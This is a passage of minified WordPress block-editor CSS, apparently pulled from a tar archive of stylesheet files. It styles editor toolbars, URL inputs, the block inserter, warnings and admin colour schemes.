3px;width:36px;height:24px}.block-editor-plain-text{box-shadow:none;font-family:inherit;font-size:inherit;color:inherit;line-height:inherit;border:none;padding:0;margin:0;width:100%}.block-editor-responsive-block-control{margin-bottom:28px;border-bottom:1px solid #ccc;padding-bottom:14px}.block-editor-responsive-block-control:last-child{padding-bottom:0;border-bottom:0}.block-editor-responsive-block-control__title{margin:0 0 .6em -3px}.block-editor-responsive-block-control__label{font-weight:600;margin-bottom:.6em;margin-left:-3px}.block-editor-responsive-block-control__inner{margin-left:-1px}.block-editor-responsive-block-control__toggle{margin-left:1px}.block-editor-responsive-block-control .components-base-control__help{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important}.block-editor-format-toolbar .components-dropdown-menu__toggle{justify-content:center}.show-icon-labels .block-editor-format-toolbar .components-button.has-icon{width:auto}.show-icon-labels .block-editor-format-toolbar .components-button.has-icon svg{display:none}.show-icon-labels .block-editor-format-toolbar .components-button.has-icon:after{content:attr(aria-label)}.block-editor-rich-text__editable>p:first-child{margin-top:0}.block-editor-rich-text__editable [data-rich-text-placeholder]{pointer-events:none}.block-editor-rich-text__editable [data-rich-text-placeholder]:after{content:attr(data-rich-text-placeholder);opacity:.62}.block-editor-rich-text__editable:focus{outline:none}.block-editor-rich-text__editable:focus [data-rich-text-format-boundary]{border-radius:2px}.block-editor-rich-text__editable:focus:not(.keep-placeholder-on-focus) [data-rich-text-placeholder]:after{display:none}figcaption.block-editor-rich-text__editable [data-rich-text-placeholder]:before{opacity:.8}.components-popover.block-editor-rich-text__inline-format-toolbar{z-index:99998}.components-popover.block-editor-rich-text__inline-format-toolbar .components-popover__content{width:auto;min-width:auto;margin-bottom:8px;box-shadow:none;border:1px solid #1e1e1e;border-radius:2px;background-color:#fff}.components-popover.block-editor-rich-text__inline-format-toolbar .components-toolbar,.components-popover.block-editor-rich-text__inline-format-toolbar .components-toolbar-group{border:none}.components-popover.block-editor-rich-text__inline-format-toolbar .components-dropdown-menu__toggle,.components-popover.block-editor-rich-text__inline-format-toolbar .components-toolbar__control{min-width:48px;min-height:48px;padding-left:12px;padding-right:12px}.block-editor-skip-to-selected-block{position:absolute;top:-9999em}.block-editor-skip-to-selected-block:focus{height:auto;width:auto;display:block;font-size:14px;font-weight:600;padding:15px 23px 14px;background:#f1f1f1;color:#007cba;color:var(--wp-admin-theme-color);line-height:normal;box-shadow:0 0 2px 2px rgba(0,0,0,.6);text-decoration:none;outline:none;z-index:100000}.block-editor-text-decoration-and-transform{display:flex}.block-editor-text-transform-control{flex:0 0 50%}.block-editor-text-transform-control legend{margin-bottom:8px}.block-editor-text-transform-control .block-editor-text-transform-control__buttons{display:inline-flex;margin-bottom:24px}.block-editor-text-transform-control .block-editor-text-transform-control__buttons .components-button.has-icon{min-width:24px;padding:0;margin-right:4px}.block-editor-text-decoration-control{flex:0 0 50%}.block-editor-text-decoration-control legend{margin-bottom:8px}.block-editor-text-decoration-control .block-editor-text-decoration-control__buttons{display:inline-flex;margin-bottom:24px}.block-editor-text-decoration-control .block-editor-text-decoration-control__buttons .components-button.has-icon{min-width:24px;padding:0;margin-right:4px}.block-editor-tool-selector__help{margin:8px -12px -12px;padding:12px 20px;border-top:1px solid #ddd;color:#757575;min-width:280px}.block-editor-block-list__block .block-editor-url-input,.block-editor-url-input,.components-popover .block-editor-url-input{flex-grow:1;position:relative;padding:1px}.block-editor-block-list__block .block-editor-url-input input[type=text],.block-editor-url-input input[type=text],.components-popover .block-editor-url-input input[type=text]{width:100%;padding:8px;border:none;border-radius:0;margin-left:0;margin-right:0;font-size:16px}@media (min-width:600px){.block-editor-block-list__block .block-editor-url-input input[type=text],.block-editor-url-input input[type=text],.components-popover .block-editor-url-input input[type=text]{width:300px;font-size:13px}}.block-editor-block-list__block .block-editor-url-input input[type=text]::-ms-clear,.block-editor-url-input input[type=text]::-ms-clear,.components-popover .block-editor-url-input input[type=text]::-ms-clear{display:none}.block-editor-block-list__block .block-editor-url-input.is-full-width,.block-editor-block-list__block .block-editor-url-input.is-full-width .block-editor-url-input__input[type=text],.block-editor-block-list__block .block-editor-url-input.is-full-width__suggestions,.block-editor-url-input.is-full-width,.block-editor-url-input.is-full-width .block-editor-url-input__input[type=text],.block-editor-url-input.is-full-width__suggestions,.components-popover .block-editor-url-input.is-full-width,.components-popover .block-editor-url-input.is-full-width .block-editor-url-input__input[type=text],.components-popover .block-editor-url-input.is-full-width__suggestions{width:100%}.block-editor-block-list__block .block-editor-url-input .components-spinner,.block-editor-url-input .components-spinner,.components-popover .block-editor-url-input .components-spinner{position:absolute;right:8px;bottom:17px;margin:0}.block-editor-url-input__input[type=text]{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;padding:6px 8px;box-shadow:0 0 0 transparent;transition:box-shadow .1s linear;border-radius:2px;border:1px solid #757575;font-size:16px;line-height:normal}@media (prefers-reduced-motion:reduce){.block-editor-url-input__input[type=text]{transition-duration:0s}}@media (min-width:600px){.block-editor-url-input__input[type=text]{font-size:13px;line-height:normal}}.block-editor-url-input__input[type=text]:focus{border-color:#007cba;border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 1px #007cba;box-shadow:0 0 0 1px var(--wp-admin-theme-color);outline:2px solid transparent}.block-editor-url-input__input[type=text]::-webkit-input-placeholder{color:rgba(30,30,30,.62)}.block-editor-url-input__input[type=text]::-moz-placeholder{opacity:1;color:rgba(30,30,30,.62)}.block-editor-url-input__input[type=text]:-ms-input-placeholder{color:rgba(30,30,30,.62)}.is-dark-theme .block-editor-url-input__input[type=text]::-webkit-input-placeholder{color:hsla(0,0%,100%,.65)}.is-dark-theme .block-editor-url-input__input[type=text]::-moz-placeholder{opacity:1;color:hsla(0,0%,100%,.65)}.is-dark-theme .block-editor-url-input__input[type=text]:-ms-input-placeholder{color:hsla(0,0%,100%,.65)}.block-editor-url-input__suggestions{max-height:200px;transition:all .15s ease-in-out;padding:4px 0;width:302px;overflow-y:auto}@media (prefers-reduced-motion:reduce){.block-editor-url-input__suggestions{transition-duration:0s}}.block-editor-url-input .components-spinner,.block-editor-url-input__suggestions{display:none}@media (min-width:600px){.block-editor-url-input .components-spinner,.block-editor-url-input__suggestions{display:inherit}}.block-editor-url-input__suggestion{padding:4px 8px;color:#757575;display:block;font-size:13px;cursor:pointer;background:#fff;width:100%;border:none;text-align:left;box-shadow:none}.block-editor-url-input__suggestion:hover{background:#ddd}.block-editor-url-input__suggestion.is-selected,.block-editor-url-input__suggestion:focus{background:#005a87;background:var(--wp-admin-theme-color-darker-20);color:#fff;outline:none}.components-toolbar-group>.block-editor-url-input__button,.components-toolbar>.block-editor-url-input__button{position:inherit}.block-editor-url-input__button .block-editor-url-input__back{margin-right:4px;overflow:visible}.block-editor-url-input__button .block-editor-url-input__back:after{content:"";position:absolute;display:block;width:1px;height:24px;right:-1px;background:#ddd}.block-editor-url-input__button-modal{box-shadow:0 2px 6px rgba(0,0,0,.05);border:1px solid #ddd;background:#fff}.block-editor-url-input__button-modal-line{display:flex;flex-direction:row;flex-grow:1;flex-shrink:1;min-width:0;align-items:flex-start}.block-editor-url-input__button-modal-line .components-button{flex-shrink:0;width:36px;height:36px}.block-editor-url-popover__additional-controls{border-top:1px solid #ddd}.block-editor-url-popover__additional-controls>div[role=menu] .components-button:not(:disabled):not([aria-disabled=true]):not(.is-secondary)>svg{box-shadow:none}.block-editor-url-popover__additional-controls div[role=menu]>.components-button{padding-left:2px}.block-editor-url-popover__row{display:flex}.block-editor-url-popover__row>:not(.block-editor-url-popover__settings-toggle){flex-grow:1}.block-editor-url-popover .components-button.has-icon{padding:3px}.block-editor-url-popover .components-button.has-icon>svg{padding:5px;border-radius:2px;height:30px;width:30px}.block-editor-url-popover .components-button.has-icon:not(:disabled):focus{box-shadow:none}.block-editor-url-popover .components-button.has-icon:not(:disabled):focus>svg{box-shadow:inset 0 0 0 2px #007cba,inset 0 0 0 4px #fff;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color),inset 0 0 0 4px #fff;outline:2px solid transparent}.block-editor-url-popover__settings-toggle{flex-shrink:0;border-radius:0;border-left:1px solid #ddd;margin-left:1px}.block-editor-url-popover__settings-toggle[aria-expanded=true] .dashicon{transform:rotate(180deg)}.block-editor-url-popover__input-container .components-base-control:last-child,.block-editor-url-popover__input-container .components-base-control:last-child .components-base-control__field{margin-bottom:0}.block-editor-url-popover__settings{display:block;padding:16px;border-top:1px solid #ddd}.block-editor-url-popover__link-editor,.block-editor-url-popover__link-viewer{display:flex}.block-editor-url-popover__link-editor .block-editor-url-input .components-base-control__field,.block-editor-url-popover__link-viewer .block-editor-url-input .components-base-control__field{margin-bottom:0}.block-editor-url-popover__link-editor .block-editor-url-input .components-spinner,.block-editor-url-popover__link-viewer .block-editor-url-input .components-spinner{bottom:9px}.block-editor-url-popover__link-viewer-url{margin:7px;flex-grow:1;flex-shrink:1;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;min-width:150px;max-width:500px}.block-editor-url-popover__link-viewer-url.has-invalid-link{color:#cc1818}.block-editor-warning{align-items:center;display:flex;flex-wrap:wrap;padding:1em;border:1px solid #1e1e1e;border-radius:2px;background-color:#fff}.block-editor-warning,.block-editor-warning .block-editor-warning__message{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif}.block-editor-warning .block-editor-warning__message{line-height:1.4;font-size:13px;color:#1e1e1e;margin:0}.block-editor-warning p.block-editor-warning__message.block-editor-warning__message{min-height:auto}.block-editor-warning .block-editor-warning__contents{display:flex;flex-direction:row;justify-content:space-between;flex-wrap:wrap;align-items:baseline;width:100%}.block-editor-warning .block-editor-warning__actions{display:flex;margin-top:1em}.block-editor-warning .block-editor-warning__action{margin:0 8px 0 0}.block-editor-warning__secondary{margin:auto 0 auto 8px}.components-popover.block-editor-warning__dropdown{z-index:99998}.html-anchor-control .components-external-link{display:block;margin-top:8px}#end-resizable-editor-section{display:none}.block-editor-block-toolbar{display:flex;flex-grow:1;width:100%;overflow:auto;position:relative;transition:border-color .1s linear,box-shadow .1s linear}@media (prefers-reduced-motion:reduce){.block-editor-block-toolbar{transition-duration:0s}}@media (min-width:600px){.block-editor-block-toolbar{overflow:inherit}}.block-editor-block-toolbar .components-toolbar,.block-editor-block-toolbar .components-toolbar-group{background:none;line-height:0;margin-top:-1px;margin-bottom:-1px;border:0;border-right:1px solid #ddd}.block-editor-block-toolbar>:last-child,.block-editor-block-toolbar>:last-child .components-toolbar,.block-editor-block-toolbar>:last-child .components-toolbar-group{border-right:none}.block-editor-block-toolbar__block-controls{height:auto!important;padding:0!important}.block-editor-block-toolbar__block-controls .block-editor-block-switcher .components-dropdown-menu__toggle .block-editor-block-icon,.block-editor-block-toolbar__block-controls .block-editor-block-switcher__no-switcher-icon .block-editor-block-icon{width:24px!important;margin:0!important}.block-editor-block-toolbar__block-controls .block-editor-block-switcher .components-dropdown-menu__toggle:focus:before,.block-editor-block-toolbar__block-controls .block-editor-block-switcher__no-switcher-icon:focus:before{right:4px!important}.block-editor-block-toolbar__block-controls .block-editor-block-mover{margin-left:-6px}.block-editor-block-toolbar .components-toolbar,.block-editor-block-toolbar .components-toolbar-group,.block-editor-format-toolbar .components-toolbar,.block-editor-format-toolbar .components-toolbar-group{display:flex;flex-wrap:nowrap}.block-editor-block-toolbar__slot{display:inline-block;line-height:0}@supports ((position:-webkit-sticky) or (position:sticky)){.block-editor-block-toolbar__slot{display:inline-flex}}.block-editor-block-toolbar__block-parent-selector-wrapper{position:absolute;top:-1px;left:-1px;opacity:0;transition:all 60ms linear;z-index:-1}@media (prefers-reduced-motion:reduce){.block-editor-block-toolbar__block-parent-selector-wrapper{transition-duration:0s}}.is-showing-movers .block-editor-block-toolbar__block-parent-selector-wrapper{opacity:1;transform:translateY(-60px)}.show-icon-labels .block-editor-block-toolbar .components-button.has-icon{width:auto}.show-icon-labels .block-editor-block-toolbar .components-button.has-icon svg{display:none}.show-icon-labels .block-editor-block-toolbar .components-button.has-icon:after{content:attr(aria-label);font-size:12px}.show-icon-labels .components-accessible-toolbar .components-toolbar-group>div:first-child:last-child>.components-button.has-icon{padding-left:6px;padding-right:6px}.show-icon-labels .block-editor-block-switcher{border-right:1px solid #1e1e1e}.show-icon-labels .block-editor-block-switcher .components-dropdown-menu__toggle{margin-left:0}.show-icon-labels .block-editor-block-switcher .components-dropdown-menu__toggle .block-editor-block-icon,.show-icon-labels .block-editor-block-switcher__no-switcher-icon .block-editor-block-icon{width:0!important;height:0!important}.show-icon-labels .block-editor-block-switcher .components-dropdown-menu__toggle:focus:before,.show-icon-labels .block-editor-block-switcher__no-switcher-icon:focus:before{right:4px!important}.show-icon-labels .block-editor-block-parent-selector__button .block-editor-block-icon{width:0}.show-icon-labels .block-editor-block-toolbar__block-controls .block-editor-block-mover{margin-left:0;white-space:nowrap}.show-icon-labels .block-editor-block-mover-button{padding-left:8px!important;padding-right:8px!important}.show-icon-labels .block-editor-block-mover__drag-handle.has-icon{padding-left:6px!important;padding-right:6px!important;border-right:1px solid #1e1e1e}@media (min-width:600px){.show-icon-labels .is-up-button.is-up-button.is-up-button{border-bottom:1px solid #1e1e1e;margin-right:0;border-radius:0}}.show-icon-labels .block-editor-block-contextual-toolbar .block-editor-block-mover.is-horizontal .block-editor-block-mover-button.block-editor-block-mover-button{width:auto}.show-icon-labels .components-toolbar,.show-icon-labels .components-toolbar-group{flex-shrink:1}.show-icon-labels .block-editor-format-toolbar .components-button+.components-button{margin-left:6px}.block-editor-inserter{display:inline-block;background:none;border:none;padding:0;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;line-height:0}@media (min-width:782px){.block-editor-inserter{position:relative}}.block-editor-inserter__popover.is-quick .components-popover__content{border:none}.block-editor-inserter__popover.is-quick .components-popover__content .block-editor-inserter__quick-inserter>*{border-left:1px solid #ccc;border-right:1px solid #ccc}.block-editor-inserter__popover.is-quick .components-popover__content .block-editor-inserter__quick-inserter>:first-child{border-top:1px solid #ccc}.block-editor-inserter__popover.is-quick .components-popover__content .block-editor-inserter__quick-inserter>:last-child{border-bottom:1px solid #ccc}.block-editor-inserter__popover.is-quick .components-popover__content .block-editor-inserter__quick-inserter>.components-button{border:1px solid #1e1e1e}.block-editor-inserter__popover .block-editor-inserter__menu{margin:-12px}.block-editor-inserter__popover .block-editor-inserter__menu .block-editor-inserter__tabs .components-tab-panel__tabs{top:60px}.block-editor-inserter__popover .block-editor-inserter__menu .block-editor-inserter__main-area{overflow:visible;height:auto}.block-editor-inserter__popover .block-editor-inserter__menu .block-editor-inserter__preview-container{display:none}.block-editor-inserter__toggle.components-button{display:inline-flex;align-items:center;cursor:pointer;border:none;outline:none;padding:0;transition:color .2s ease}@media (prefers-reduced-motion:reduce){.block-editor-inserter__toggle.components-button{transition-duration:0s}}.block-editor-inserter__menu{height:100%;position:relative;overflow:visible}.block-editor-inserter__main-area{width:auto;overflow-y:auto;height:100%}@media (min-width:782px){.block-editor-inserter__main-area{width:350px}}.block-editor-inserter__inline-elements{margin-top:-1px}.block-editor-inserter__menu.is-bottom:after{border-bottom-color:#fff}.components-popover.block-editor-inserter__popover{z-index:99999}.block-editor-inserter__search{padding:16px;position:-webkit-sticky;position:sticky;top:0;background:#fff;z-index:1}.block-editor-inserter__search input[type=search].block-editor-inserter__search-input{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;box-shadow:0 0 0 transparent;transition:box-shadow .1s linear;border-radius:2px;line-height:normal;display:block;padding:16px 48px 16px 16px;background:#f0f0f0;border:none;width:100%;height:48px;font-size:16px}@media (prefers-reduced-motion:reduce){.block-editor-inserter__search input[type=search].block-editor-inserter__search-input{transition-duration:0s}}@media (min-width:600px){.block-editor-inserter__search input[type=search].block-editor-inserter__search-input{font-size:13px;line-height:normal}}.block-editor-inserter__search input[type=search].block-editor-inserter__search-input:focus{border-color:#007cba;border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 1px #007cba;box-shadow:0 0 0 1px var(--wp-admin-theme-color);outline:2px solid transparent}.block-editor-inserter__search input[type=search].block-editor-inserter__search-input::-webkit-input-placeholder{color:rgba(30,30,30,.62)}.block-editor-inserter__search input[type=search].block-editor-inserter__search-input::-moz-placeholder{opacity:1;color:rgba(30,30,30,.62)}.block-editor-inserter__search input[type=search].block-editor-inserter__search-input:-ms-input-placeholder{color:rgba(30,30,30,.62)}.is-dark-theme .block-editor-inserter__search input[type=search].block-editor-inserter__search-input::-webkit-input-placeholder{color:hsla(0,0%,100%,.65)}.is-dark-theme .block-editor-inserter__search input[type=search].block-editor-inserter__search-input::-moz-placeholder{opacity:1;color:hsla(0,0%,100%,.65)}.is-dark-theme .block-editor-inserter__search input[type=search].block-editor-inserter__search-input:-ms-input-placeholder{color:hsla(0,0%,100%,.65)}@media (min-width:600px){.block-editor-inserter__search input[type=search].block-editor-inserter__search-input{font-size:13px}}.block-editor-inserter__search input[type=search].block-editor-inserter__search-input:focus{background:#fff;box-shadow:0 0 0 2px #007cba;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.block-editor-inserter__search input[type=search].block-editor-inserter__search-input:-ms-input-placeholder{color:#757575}.block-editor-inserter__search input[type=search].block-editor-inserter__search-input::placeholder{color:#757575}.block-editor-inserter__search input[type=search].block-editor-inserter__search-input::-webkit-search-cancel-button,.block-editor-inserter__search input[type=search].block-editor-inserter__search-input::-webkit-search-decoration,.block-editor-inserter__search input[type=search].block-editor-inserter__search-input::-webkit-search-results-button,.block-editor-inserter__search input[type=search].block-editor-inserter__search-input::-webkit-search-results-decoration{-webkit-appearance:none}.block-editor-inserter__search-icon{position:absolute;top:0;right:20px;bottom:0;display:flex;align-items:center}.block-editor-inserter__search-icon>svg{margin:8px}.block-editor-inserter__tabs{display:flex;flex-direction:column;margin-top:-8px}.block-editor-inserter__tabs .components-tab-panel__tabs{position:-webkit-sticky;position:sticky;top:72px;background:#fff;z-index:1;border-bottom:1px solid #ddd}.block-editor-inserter__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item{flex-grow:1;margin-bottom:-1px}.block-editor-inserter__tabs .components-tab-panel__tab-content{display:flex;flex-grow:1;flex-direction:column;position:relative}.block-editor-inserter__panel-header{display:inline-flex;align-items:center;padding:16px 16px 0}.block-editor-inserter__panel-header-patterns{padding:16px 16px 0}.block-editor-inserter__panel-content{padding:16px}.block-editor-inserter__panel-title,.block-editor-inserter__panel-title button{margin:0 12px 0 0;color:#757575;text-transform:uppercase;font-size:11px;font-weight:500}.block-editor-inserter__panel-dropdown select.components-select-control__input.components-select-control__input.components-select-control__input{line-height:1.2}.block-editor-inserter__panel-dropdown select{border:none}.block-editor-inserter__block-list{flex-grow:1;position:relative}.block-editor-inserter__popover .block-editor-block-types-list{margin:-8px}.block-editor-inserter__reusable-blocks-panel{position:relative;text-align:right}.block-editor-inserter__manage-reusable-blocks{display:inline-block;margin:16px}.block-editor-inserter__no-results{padding:32px;margin-top:64px;text-align:center}.block-editor-inserter__no-results-icon{fill:#949494}.block-editor-inserter__child-blocks{padding:0 16px}.block-editor-inserter__parent-block-header{display:flex;align-items:center}.block-editor-inserter__parent-block-header h2{font-size:13px}.block-editor-inserter__parent-block-header .block-editor-block-icon{margin-right:8px}.block-editor-inserter__preview-container{display:none;width:300px;background:#fff;border-radius:2px;border:1px solid #ddd;position:absolute;top:16px;left:calc(100% + 16px);max-height:calc(100% - 32px);overflow-y:hidden}@media (min-width:782px){.block-editor-inserter__preview-container{display:block}}.block-editor-inserter__preview-container .block-editor-block-card{padding:16px}.block-editor-inserter__preview-container .block-editor-block-card__title{font-size:13px}.block-editor-inserter__preview-content{min-height:144px;background:#f0f0f0;display:-ms-grid;display:grid;flex-grow:1;align-items:center}.block-editor-inserter__preview-content-missing{flex:1;display:flex;justify-content:center;align-items:center;min-height:144px;color:#757575;background:#f0f0f0}.block-editor-inserter__tips{border-top:1px solid #ddd;padding:16px;flex-shrink:0;position:relative}.block-editor-inserter__manage-reusable-blocks-container{padding:16px}.block-editor-inserter__quick-inserter{width:100%;max-width:100%}@media (min-width:782px){.block-editor-inserter__quick-inserter{width:350px}}.block-editor-inserter__quick-inserter-results .block-editor-inserter__panel-header{height:0;padding:0;float:left}.block-editor-inserter__quick-inserter .block-editor-inserter__panel-content{padding:8px}.block-editor-inserter__quick-inserter.has-expand .block-editor-inserter__panel-content,.block-editor-inserter__quick-inserter.has-search .block-editor-inserter__panel-content{padding:16px}.block-editor-inserter__quick-inserter-patterns{display:-ms-grid;display:grid;-ms-grid-columns:1fr 1fr;grid-template-columns:1fr 1fr;grid-gap:8px}.block-editor-inserter__quick-inserter-separator{border-top:1px solid #ddd}.block-editor-inserter__popover.is-quick>.components-popover__content>div{padding:0}.block-editor-inserter__quick-inserter-expand.components-button{display:block;background:#1e1e1e;color:#fff;width:100%;height:44px;border-radius:0}.block-editor-inserter__quick-inserter-expand.components-button:hover{color:#fff}.block-editor-inserter__quick-inserter-expand.components-button:active{color:#ccc}.block-editor-inserter__quick-inserter-expand.components-button:focus:not(:disabled){box-shadow:inset 0 0 0 1.5px #007cba,inset 0 0 0 3px #fff;box-shadow:inset 0 0 0 1.5px var(--wp-admin-theme-color),inset 0 0 0 3px #fff}.block-editor-post-preview__dropdown{padding:0}.block-editor-post-preview__button-resize.block-editor-post-preview__button-resize{padding-left:40px}.block-editor-post-preview__button-resize.block-editor-post-preview__button-resize.has-icon{padding-left:8px}.block-editor-post-preview__dropdown-content .components-popover__content{overflow-y:visible}.block-editor-post-preview__dropdown-content.edit-post-post-preview-dropdown .components-menu-group:first-child{padding-bottom:8px}.block-editor-post-preview__dropdown-content.edit-post-post-preview-dropdown .components-menu-group:last-child{margin-bottom:0}.block-editor-post-preview__dropdown-content .components-menu-group+.components-menu-group{padding:8px}@media (min-width:600px){.edit-post-header__settings .editor-post-preview,.edit-site-header__actions .editor-post-preview{display:none}}@media (min-width:600px){.edit-post-header.has-reduced-ui .edit-post-header__settings .block-editor-post-preview__button-toggle,.edit-post-header.has-reduced-ui .edit-post-header__settings .editor-post-save-draft,.edit-post-header.has-reduced-ui .edit-post-header__settings .editor-post-saved-state{transition:opacity .1s linear}}@media (min-width:600px) and (prefers-reduced-motion:reduce){.edit-post-header.has-reduced-ui .edit-post-header__settings .block-editor-post-preview__button-toggle,.edit-post-header.has-reduced-ui .edit-post-header__settings .editor-post-save-draft,.edit-post-header.has-reduced-ui .edit-post-header__settings .editor-post-saved-state{transition-duration:0s}}@media (min-width:600px){.edit-post-header.has-reduced-ui:not(:hover) .edit-post-header__settings .block-editor-post-preview__button-toggle,.edit-post-header.has-reduced-ui:not(:hover) .edit-post-header__settings .editor-post-save-draft,.edit-post-header.has-reduced-ui:not(:hover) .edit-post-header__settings .editor-post-saved-state{opacity:0}.edit-post-header.has-reduced-ui:not(:hover) .edit-post-header__settings .block-editor-post-preview__button-toggle.is-opened{opacity:1}}body.admin-color-light{--wp-admin-theme-color:#0085ba;--wp-admin-theme-color-darker-10:#0073a1;--wp-admin-theme-color-darker-20:#006187;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-light{--wp-admin-border-width-focus:1.5px}}body.admin-color-modern{--wp-admin-theme-color:#3858e9;--wp-admin-theme-color-darker-10:#2145e6;--wp-admin-theme-color-darker-20:#183ad6;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-modern{--wp-admin-border-width-focus:1.5px}}body.admin-color-blue{--wp-admin-theme-color:#096484;--wp-admin-theme-color-darker-10:#07526c;--wp-admin-theme-color-darker-20:#064054;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-blue{--wp-admin-border-width-focus:1.5px}}body.admin-color-coffee{--wp-admin-theme-color:#46403c;--wp-admin-theme-color-darker-10:#383330;--wp-admin-theme-color-darker-20:#2b2724;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-coffee{--wp-admin-border-width-focus:1.5px}}body.admin-color-ectoplasm{--wp-admin-theme-color:#523f6d;--wp-admin-theme-color-darker-10:#46365d;--wp-admin-theme-color-darker-20:#3a2c4d;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-ectoplasm{--wp-admin-border-width-focus:1.5px}}body.admin-color-midnight{--wp-admin-theme-color:#e14d43;--wp-admin-theme-color-darker-10:#dd382d;--wp-admin-theme-color-darker-20:#d02c21;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-midnight{--wp-admin-border-width-focus:1.5px}}body.admin-color-ocean{--wp-admin-theme-color:#627c83;--wp-admin-theme-color-darker-10:#576e74;--wp-admin-theme-color-darker-20:#4c6066;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-ocean{--wp-admin-border-width-focus:1.5px}}body.admin-color-sunrise{--wp-admin-theme-color:#dd823b;--wp-admin-theme-color-darker-10:#d97426;--wp-admin-theme-color-darker-20:#c36922;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-sunrise{--wp-admin-border-width-focus:1.5px}}css/dist/block-editor/content.min.css000064400000070254151202620300013622 0ustar00:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.block-editor-block-icon{align-items:center;display:flex;height:24px;justify-content:center;width:24px}.block-editor-block-icon.has-colors svg{fill:currentColor}@media (forced-colors:active){.block-editor-block-icon.has-colors svg{fill:CanvasText}}.block-editor-block-icon svg{max-height:24px;max-width:24px;min-height:20px;min-width:20px}.block-editor-block-styles .block-editor-block-list__block{margin:0}@keyframes selection-overlay__fade-in-animation{0%{opacity:0}to{opacity:.4}}:root .block-editor-block-list__layout::selection,:root .has-multi-selection .block-editor-block-list__layout::selection,_::-webkit-full-page-media,_:future{background-color:transparent}.block-editor-block-list__layout{position:relative}.block-editor-block-list__layout:where(.block-editor-block-list__block.is-multi-selected:not(.is-partially-selected)){border-radius:2px}.block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected) ::selection,.block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected)::selection{background:transparent}.block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected):after{animation:selection-overlay__fade-in-animation .1s ease-out;animation-fill-mode:forwards;background:var(--wp-admin-theme-color);border-radius:2px;bottom:0;content:"";left:0;opacity:.4;outline:2px solid transparent;pointer-events:none;position:absolute;right:0;top:0;z-index:1}@media (prefers-reduced-motion:reduce){.block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected):after{animation-delay:0s;animation-duration:1ms}}.block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected).is-highlighted:after{box-shadow:none}.block-editor-block-list__layout .block-editor-block-list__block.is-highlighted,.block-editor-block-list__layout .block-editor-block-list__block.is-highlighted~.is-multi-selected,.block-editor-block-list__layout .block-editor-block-list__block:not([contenteditable]):focus,.block-editor-block-list__layout.is-navigate-mode .block-editor-block-list__block.is-selected{outline:none}.block-editor-block-list__layout .block-editor-block-list__block.is-highlighted:after,.block-editor-block-list__layout .block-editor-block-list__block.is-highlighted~.is-multi-selected:after,.block-editor-block-list__layout .block-editor-block-list__block:not([contenteditable]):focus:after,.block-editor-block-list__layout.is-navigate-mode .block-editor-block-list__block.is-selected:after{border-radius:1px;bottom:1px;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);content:"";left:1px;outline:2px solid transparent;pointer-events:none;position:absolute;right:1px;top:1px;z-index:1}.is-dark-theme .block-editor-block-list__layout .block-editor-block-list__block.is-highlighted:after,.is-dark-theme .block-editor-block-list__layout .block-editor-block-list__block.is-highlighted~.is-multi-selected:after,.is-dark-theme .block-editor-block-list__layout .block-editor-block-list__block:not([contenteditable]):focus:after,.is-dark-theme .block-editor-block-list__layout.is-navigate-mode .block-editor-block-list__block.is-selected:after{box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff}.block-editor-block-list__layout .is-block-moving-mode.block-editor-block-list__block.is-selected:after{border-radius:2px;border-top:4px solid #ccc;bottom:auto;box-shadow:none;content:"";left:0;pointer-events:none;position:absolute;right:0;top:-14px;transition:border-color .1s linear,border-style .1s linear,box-shadow .1s linear;z-index:0}.block-editor-block-list__layout .is-block-moving-mode.can-insert-moving-block.block-editor-block-list__block.is-selected:after{border-color:var(--wp-admin-theme-color)}.has-multi-selection .block-editor-block-list__layout{-webkit-user-select:none;user-select:none}.block-editor-block-list__layout 